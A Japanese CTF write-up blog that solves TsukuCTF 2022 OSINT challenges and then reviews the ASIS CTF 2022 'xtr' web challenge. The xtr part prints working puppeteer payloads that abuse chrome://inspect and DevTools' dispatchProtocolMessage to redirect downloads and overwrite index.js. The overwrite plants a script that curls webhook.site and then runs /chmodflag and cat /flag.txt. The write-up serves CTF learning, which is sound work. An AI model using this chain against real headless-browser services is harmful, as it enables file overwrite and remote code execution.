Here you are xD hxxps://drive.google.com/drive/folders/1sal6kj0OrsO7Xu-gQZeBFjYOm-kAtuns?usp=sharing

とのことで、Google Driveへのリンクがある。アクセスしてみると、README.txtdummy.csv というファイルがあった。前者はこれらのファイルはCTF用に作られたものだという説明で、後者はダミーの個人情報が大量に載っているCSVだ。この中に彼の情報があるのだろうか。CSVのカラムには名前や住所のほかに、誕生日とメールアドレスもある。

メールアドレスといえば、彼はこういうツイートもしていた。

byu から始まるメールアドレスを持つ人は、田川ヒロシひとりだけだ。これで彼の誕生日がわかった。

$ grep byu dummy.csv
田川 ヒロシ,41,1980/01/10,Male,A,byucraglar5r7nzx3np9@gmail.com,090-9040-2901,185-4532,株式会社TSHSU
TsukuCTF22{1980/01/10}

[OSINT 495] Bus POWER (24 solves)

私はこれからつくしくんと食事をする予定です。しかし、待ち合わせの時間になっても彼は来ず、代わりにこのような文章と写真を送ってきました。

「写真の奥に青い道路標識が見えるよね?ちょうど今そこを通過した先にある交差点にいます。」

彼が何分くらい遅刻するのか推定するために、この写真の近くにある交差点の名前を特定してください。フラグ形式は TsukuCTF22{交差点の名前} です。交差点の名前は日本語で、Google Mapの表記に準拠します。

私がこの問題に取り組むまでにptr-yudaiさんがだいぶ調べていて、その雰囲気から京都っぽいとわかっていた。写真の右上にあるおそらく運転手の名前などが書かれている箇所に、「…2822」という車番も書かれていることがわかっていた。これらの情報を組み合わせて、京都市営バスであろうというところまで確認していた。

ただ、文字情報がほとんどなく、またそれ以外の特徴的に思える部分からもあまり情報を得られていなかった。ぽけーっと写真を眺めていた所、右上にうっすらと文字が見える。「…条河…」に当てはまる行き先はどこだろうか*5。関西人パワーから四条河原町を思いついた。だがまだ解けない。

四条河原町を経由しそうな系統を狙って「前面展望 3系統」などをググり、出てきた動画を倍速&飛ばし飛ばしで視聴してそれっぽい場所を探す。だがまだ見つからない。

ヤケクソで、4車線以上の道路の片側に、黒いピラミッド状の屋根の建物と8階程度の建物が隣接している場所を探せばよいのではないかと考える。Google Earthを開き、四条河原町に飛んで太い道路沿いに移動しつつ探した。怪しい場所があればストリートビューで確認し、違っていればまた怪しい場所を探すという作業を繰り返す。しばらく探していると、それっぽい場所が見つかった。黒い屋根の建物と、8階程度の建物は写真と同じであるように見える。

だが、道路標識が与えられた写真のものとは一致していないし、本来建物があるはずの左手には駐車場がある。古い写真が与えられたのではないかと疑ったが、何年か遡ってみると2013年にはすでに更地になっているし、そもそも運転席に近い座席がビニールカバーで使用できない状態になっており(というか、「…感染症…中止しています…距離を保つため…」という文章が見える)、コロナ禍に入ってからの写真であることが推測できる。

写真と似た構図の場所を探す。西にやや移動すると、見つかった。左手にある建物も写真と一致している。さて、この問題で答えるのは交差点の名前だった。Yahoo! 地図で交差点の名前を確認した*6。「写真の奥に青い道路標識が見える」のを「通過した先にある交差点」というのは、千本今出川交差点だ。

TsukuCTF22{千本今出川}

[OSINT 500] Ochakumi (3 solves)

私はハッカーフォーラムである人に出会いました。彼はOSSエンジニアを名乗っており、このWebサイトを運営しているようです。

⚠️このWebサービスの応答はネットワークの性質上少し時間がかかりますが、数回程度のアクセスで十分に解くことができます。もし応答がない場合はAdminへ報告し、しばらくしてから再度アクセスしてください。

http://tsuku22qotvyqz5kbygsmxvijjg7jg2d7rgc42qhaqt3ryj66lntrmid.onion

.onion というTLDから、このWebサイトはTor Hidden Serviceであるとわかる。Tor Browserでアクセスしてみると、以下のようにNeko Neko Calculatorという謎のサービスが表示された。7*7 を入力すると49と表示される。名前の通り電卓っぽい。

DevToolsのNetworkタブを開きつついじってみるが、ボタンを押しても計算式がXMLHttpRequestやFetchで送られている様子はない。サーバ側ではなくクライアント側で計算しているようだ。Ctrl + F5 で更新してみると、index.html, wasm_exec.js, main.wasm という3つのファイルをダウンロードしている様子が確認できた。WebAssemblyを使っているらしい。

wasm_exec.js はグルースクリプトだけれども、1行目から嫌なコメントが見える。Goで書いてwasmにコンパイルしているのではないか。バイナリエディタmain.wasm を開くと、やはり syscall/js.valuePrepareString のような文字列が見えて、Go製のwasmであると確信する。

// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

問題文には以下のように reversing というタグが付いていて、やはりちゃんとこの5MB弱のwasmをリバースエンジニアリングしないとダメなのかなあと思う。

でもメインカテゴリはOSINTだ。なにかしら情報が得られることを祈って strings -n main.wasm を実行する。出力された文字列を眺めていると、気になるものがあった。ビルド時の情報が色々あるけれども、GitHubリポジトリの情報もある。

…
go1.18.4
    /usr/local/go
path    github.com/GaOACafa/website
mod github.com/GaOACafa/website (devel) 
build   -compiler=gc
build   CGO_ENABLED=0
build   GOARCH=wasm
build   GOOS=js
…

GaOACafa/website のコミットを眺めていると、.gitignore で次のようにファイルを列挙している様子が確認できた。wasm_exec.jsindex.html といったファイル名は聞き覚えがあるが、public/this_is_flag_dbKIMLQnMCI2fp0.html というのはとても怪しい。

deploy.sh
dist
node_modules
public/main.wasm
public/this_is_flag_dbKIMLQnMCI2fp0.html
public/favicon.ico
public/wasm_exec.js
index.html

.gitignore で得られた情報をもとに http://tsuku22qotvyqz5kbygsmxvijjg7jg2d7rgc42qhaqt3ryj66lntrmid.onion/this_is_flag_dbKIMLQnMCI2fp0.html にアクセスすると、フラグが得られた。

TsukuCTF22{C0uld_w45m_h4v6_p6r50n4l_1nf0rm4710n?}

この問題は98ptsがfirst bloodだった。

*1:「就きたい職業はエゾタヌキ」で出ていた

*2:CTFtime.orgでは "a CTF with Japanese OSINT as the main genre" と言っているぐらいなので。ところで、ここで "Japanese" は "CTF" でなく "OSINT" にかかっていることに注意

*3:私はデイリーポータルZここはどこでしょう?で色々な正解への辿り着き方を読むのが好き

*4:CTFを始めたばかりのころは、スクリプティングに慣れていなかったのでBoolean-basedなSQLiも手作業でやっていたのを思い出した。それも二分探索でなく線形探索で

*5:条河麻耶ではない

*6:問題文に「Google Mapの表記に準拠します」と書かれているけれども、今writeupを書いているときに初めてGoogle Mapでも交差点の名前を確認できると知った

ASIS CTF Quals 2022の復習 - [Web] xtr

10/14 - 10/15という日程で開催された。zer0ptsで出て67位。Web問がとても面白かったし、Firewalled, xtrの2問はあともう少しで解けそうだという感覚があったのだけれども、結局解ききれず悔しい。悔しいので、競技時間中には解けなかった問題を復習したい。


[Web 423] xtr (3 solves)

wow i have xss on all pages. i wonder what is stopping me from getting rce...

nc xtr.asisctf.com 9000

概要

ソースコード付き。問題文に書かれている問題サーバに接続すると文字列の入力が求められるけど、最終的に subprocess.call(('docker run --rm xtr /app/run.sh '+s).split(' ')) (s はユーザ入力) という感じで xtr というDockerコンテナに渡される。

xtrDockerfile はこんな感じ。chmod 000 されている /flag.txt というファイルを読むのが目的であるとわかる。/chmodflag はこの /flag.txtchmod 444 する実行ファイルで、/chmodflag を実行してから /flag.txt を読むという流れになる。

FROM ubuntu:latest

RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install -y curl
RUN curl -fsSL https://deb.nodesource.com/setup_18.x | bash -
RUN apt-get install -y ca-certificates fonts-liberation libappindicator3-1 libasound2 libatk-bridge2.0-0 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgbm1 libgcc1 libglib2.0-0 libgtk-3-0 libnspr4 libnss3 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 lsb-release xdg-utils wget nodejs

WORKDIR /tmp
RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb -q
RUN dpkg -i ./google-chrome-stable_current_amd64.deb
RUN rm ./google-chrome-stable_current_amd64.deb

WORKDIR /app
COPY ./stuff /app
COPY ./stuff/chmodflag /
COPY ./flag.txt /flag.txt
RUN chmod 000 /flag.txt
RUN chmod +x /app/run.sh /app/index.js /chmodflag
RUN chmod u+s /chmodflag
RUN PUPPETEER_SKIP_DOWNLOAD=1 npm install
RUN useradd -m www
RUN chown www /app -R
USER www

/app/run.sh は以下のような内容になっている。index.js にそのままコマンドライン引数を流すだけ。

#!/bin/bash
for var in "$@"
do
    ./index.js "$var"
done

/app/index.js は以下のような内容だった。とてもシンプルな内容で、まずコマンドライン引数として与えられたJSONをパースし、url というキーで指定されたURLを開く。そして、actions というキーに入っている配列のそれぞれの要素について、それぞれ pageIdx キーで指定したタブ上で、payload キーで指定したJavaScriptコードを実行するという処理をしている。

#!/usr/bin/env node
const puppeteer = require('puppeteer');

(async () => {
    const opts = JSON.parse(atob(process.argv[2]))

    let browser
    try {      
        browser = await puppeteer.launch({
            headless: 'chrome',
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
            executablePath: "/usr/bin/google-chrome",
        });

        console.log('[+] Browser online')

        let page = await browser.newPage();
        await page.goto(opts.url.toString(), { timeout: 3000, waitUntil: 'domcontentloaded' });

        let ackCnt = Math.min(10,+opts.actions.length)
        for(let i=0;i<ackCnt;i++){
            let pages = await browser.pages()
            let idx = opts.actions[i].pageIdx
            let payload = opts.actions[i].payload.toString()

            await pages[idx].evaluate((s)=>eval(s),payload)
            await new Promise((r)=>setTimeout(r,300));
            console.log(`[+] Executed payload ${i}`)
        }

        await page.close();
        await browser.close();
        browser = null;
    } catch(err){
    } finally {
        if (browser) await browser.close();
        console.log(`[+] Browser closed`)
    }
})();

具体的には、次のようなJSONを投げるとまず https://example.com を開き、開いたタブ上で console.log(123)location.href = '/hoge' を順番に実行する。pageIdx をいずれも 1 としているのは、https://example.com を開く前にすでに about:blank を開いているタブがあるから。

{
    "url": "https://example.com",
    "actions": [{
        "pageIdx": 1,
        "payload": "console.log(123)"
    }, {
        "pageIdx": 1,
        "payload": "location.href = '/hoge'"
    }]
}

解法

私がこの問題に本格的に取り掛かる前にs1r1usさんがある程度戦略を考えていた。Chromeからなんとかして /chmodflag という実行ファイルを実行する必要があるけど、その方法が問題となる。過去問にcorCTF 2021のsaasmeという問題があって、リンクを張ったwriteupではChrome DevTools Protocol(CDP) (*1) の一機能である Browser.setDownloadBehavior というメソッドを使っていた。これはファイルダウンロード時の保存先のディレクトリを変更したりできる。これを使って、たとえば /etc/cron.d/ のようにファイルを書き込めると嬉しいディレクトリをダウンロード先に指定し、悪いファイルをダウンロードして実行させたりしたい(今回はChromeの実行ユーザが root でないので、どこに書き込むか別途考える必要があるけれども)。

ではどうやってそれを実現するか。/app/index.js を見ると chrome:// スキームのURLも開けることがわかるから、それでなんとかしてDevToolsのページ上で以前ChromiumにあったバグのPoCのように target.SDK.targetManager.mainTarget().pageAgent() なるものを使ったり、あるいは別の事例のように DevToolsAPI.sendMessageToEmbedder なるメソッドを呼べばよいのではないかという案をs1r1usさんが出していた。

いずれにしても、そのためにDevToolsをタブとして開いた上で、そこでJavaScriptコードを実行できるようにしたい。要はDevTools on DevToolsがしたいのだが、このStack Overflowの回答のように Ctrl + Shift + i を押してDevToolsを開き、メニューからウィンドウとして切り離すボタンを押して、さらにそのウィンドウで Ctrl + Shift + i を押すという手順は今回は使えない。別の方法を考える必要がある。

DevTools on DevTools

chrome:// スキームのページを色々触っていると、chrome://inspect/#other に現在開かれているタブの一覧があり、各タブのURLの下にある inspect ボタンを押すと、そのタブでDevToolsを開けることがわかった。これなら、document.querySelector などで inspect ボタンを選択し、HTMLElement.click で押下というようにユーザインタラクションなしでJavaScriptコードでも操作を実現できる。

面白いことに、chrome://inspect/#other ではすでに開かれているDevToolsに対しても inspect ボタンを押してDevToolsを開ける。

index.js でユーザから与えられたJavaScriptコードを実行している箇所に console.log(pages.map(p=>p.url())) のようなコードを挿入して、開かれているタブを監視できるようにする。その上で、opts に次のようなオブジェクトを入れてみる。

{
    "url": "chrome://inspect/#other",
    "actions": [
        {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[2].click();
            `
        }, {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[3].click();
            `
        }, {
            "pageIdx": 1,
            "payload": "for (let i = 0; i < 100000000; i++);"
        }
    ]
}

実行してみると、次のように出力された。devtools://devtools/bundled/devtools_app.html?remoteBase=https://chrome-devtools-frontend.appspot.com/serve_file/@749e7387dde6e6b7074c8f0d2b12a6d316c66e09/&hasOtherClients=true というタブが増えていて、ちゃんとDevToolsをタブとして開けていることがわかる。これで pageIdx でDevToolsを開いているタブを指定して、そこで好きなJavaScriptコードを実行させられる。

$ node index.js
[+] Browser online
[ 'about:blank', 'chrome://inspect/#other' ]

                const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
                els[2].click();

[+] Executed payload 0
[ 'about:blank', 'chrome://inspect/#other' ]

                const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
                els[3].click();

[+] Executed payload 1
[
  'about:blank',
  'chrome://inspect/#other',
  'devtools://devtools/bundled/devtools_app.html?remoteBase=https://chrome-devtools-frontend.appspot.com/serve_file/@749e7387dde6e6b7074c8f0d2b12a6d316c66e09/&hasOtherClients=true'
]
for (let i = 0; i < 100000000; i++);
[+] Executed payload 2
[+] Browser closed

DevToolsAPI.sendMessageToEmbedder

念のために DevToolsAPI.sendMessageToEmbedder が存在しているか確認してみる。optsactions に次のオブジェクトを追加して実行してみる。ちゃんとWebhook.siteに function という内容のPOSTが来て、ちゃんとDevTools上でJavaScriptコードが実行できており、DevToolsAPI.sendMessageToEmbedder というメソッドが存在していることが確認できた。

{
    "pageIdx": 2,
    "payload": "navigator.sendBeacon('https://webhook.site/(略)', typeof DevToolsAPI.sendMessageToEmbedder);"
}

ここからどうするか。chrome/browser/devtools/devtools_embedder_message_dispatcher.cc を眺めて DevToolsAPI.sendMessageToEmbedder で使用できるメソッドを探していた(*2)のだけれども、残念ながら競技時間中には有用なものを見つけられなかった。save というメソッドがファイルの保存ができそうに見えてそれっぽいが、呼んでみるとどこに保存するかというプロンプトが表示されてしまいダメ。ユーザインタラクションなしにできなければならない。

競技終了後に解法を共有するDiscordのチャンネルを眺めていたところ、Strellicさんがとても興味深い解法(閲覧にはASIS CTFのDiscordサーバへ参加のこと)を共有していた。なんと、DevToolsAPI.sendMessageToEmbedder から呼び出せるメソッドに dispatchProtocolMessage なるものがあったらしい。先程読んでいた devtools_embedder_message_dispatcher.cc でもう一度探してみると、確かにある (*3)。

dispatchProtocolMessage のハンドラに指定されている処理を追ってみると、その名の通りCDPのメッセージを送信できるメソッドであるとわかる。これを使えば Browser.setDownloadBehavior を使ってファイルのダウンロード先を変えられる。

作問者のparrotさんによれば、DevToolsの(JavaScript側の)ソースコードを確認するというのが想定されていた dispatchProtocolMessage を見つける方法だったとのこと。

試してみる。DevTools on DevToolsして、DevTools上で DevToolsAPI.sendMessageToEmbedder = function () { console.log(arguments); } を実行して、 DevToolsAPI.sendMessageToEmbedder が実行された際にどんな引数が渡ってきたかチェックできるようにする。そのまま適当なページを開いてみると、確かにいっぱい dispatchProtocolMessage を呼び出している様子が確認できた。どう見てもCDPだ。なるほどなあ。

Browser.setDownloadBehavior

フラグまであと一歩だが、まだひとつ問題が残っている。Browser.setDownloadBehavior を使ってどこにどんなファイルを保存するかだ。目的は /chmodflag という実行ファイルの実行で、そのためにはRCEに持ち込む必要がある。その書き換えるファイルのパスについて、Strellicさんは /app/node_modules/puppeteer/lib/cjs/puppeteer/puppeteer.js を、terjanqさん/app/index.js を選んでいたらしい。なぜそれでいけるのかという話だけれども、もう一度 /app/run.sh を見てみるとわかる。コマンドライン引数を複数与えるとそれぞれでいちいち index.js が走るという処理になっている。これは同じコンテナ内での処理だから、/app/index.js を書き換えると、書き換えた後の内容のスクリプトが実行される。なぜ上書きされるかはよくわからない。

#!/bin/bash
for var in "$@"
do
    ./index.js "$var"
done

試してみる。以下のようなオブジェクトを作り、JSONシリアライズしてBase64エンコードする。

{
    "url": "chrome://inspect/#other",
    "actions": [
        {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[2].click();
            `
        }, {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[3].click();
            `
        }, {
            "pageIdx": 2,
            "payload": `
            const message = JSON.stringify({
                id: 1,
                method: 'Page.setDownloadBehavior',
                params: {
                    behavior: 'allow',
                    downloadPath: '/app/'
                }
            });
            DevToolsAPI.sendMessageToEmbedder('dispatchProtocolMessage', [message], () => {});
            `
        }, {
            "pageIdx": 0,
            "payload": `
            const a = document.createElement("a");
            const blob = new Blob(["#!/bin/bash\\ncurl https://webhook.site/(略)?ok"], { type: "text/plain" });
            a.download = "index.js";
            a.href = URL.createObjectURL(blob);
            document.body.appendChild(a);
            a.click();
            `
        }, {
            "pageIdx": 1,
            "payload": "for (let i = 0; i < 100000000; i++);"
        }
    ]
}

deploy.py に投げてみると、curl が実行されている様子が確認できた。

$ python3 deploy.py
input: eyJ1(略)fV19 a
[+] Browser online
[+] Executed payload 0
[+] Executed payload 1
[+] Executed payload 2
[+] Executed payload 3
[+] Executed payload 4
[+] Browser closed
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0

実行するコマンドを /chmodflag; cat /flag.txt に変えた上で、今度は本物の問題サーバに投げてみる。

$ nc xtr.asisctf.com 9000
input: eyJ1(略)fQ== a
[+] Browser online
[+] Executed payload 0
[+] Executed payload 1
[+] Executed payload 2
[+] Executed payload 3
[+] Executed payload 4
[+] Browser closed
ASIS{node+chrome+xss-lmao}

フラグが得られた。

ASIS{node+chrome+xss-lmao}

ということで、s1r1usさんが最初に立てていた方針ほぼそのままで解ける問題だった。ギャップを埋めるところで詰めが甘くて解けなかったのが悔しい。


  1. そもそもCDPとはという話はドキュメントなどを参照のこと。リンク先の問題では同じくPuppeteerが使われていて、記憶が正しければ puppeteer.launch に渡されるオプションでは pipe: false となっていた。なので、127.0.0.1TCPエフェメラルポートで待ち受けているところにSSRFして、そしてWebSocketを使ってCDPで通信することでChromeを操作…ということができたけど、残念ながら今回は pipe: true なのでその手は使えない

  2. ストライクウィッチーズ ROAD to BERLIN」を見ながら探していた

  3. どうしてこんなに便利そうなものを見逃したのか。これまでのCTF人生で2位か3位ぐらいに悔やまれるやらかしだった。ちなみに、ちゃんと動くexploitが完成していたのに、問題サーバのポート番号を間違えていたために解けなかったInCTF 2021 - Vuln Driveがダントツの1位。忘れられない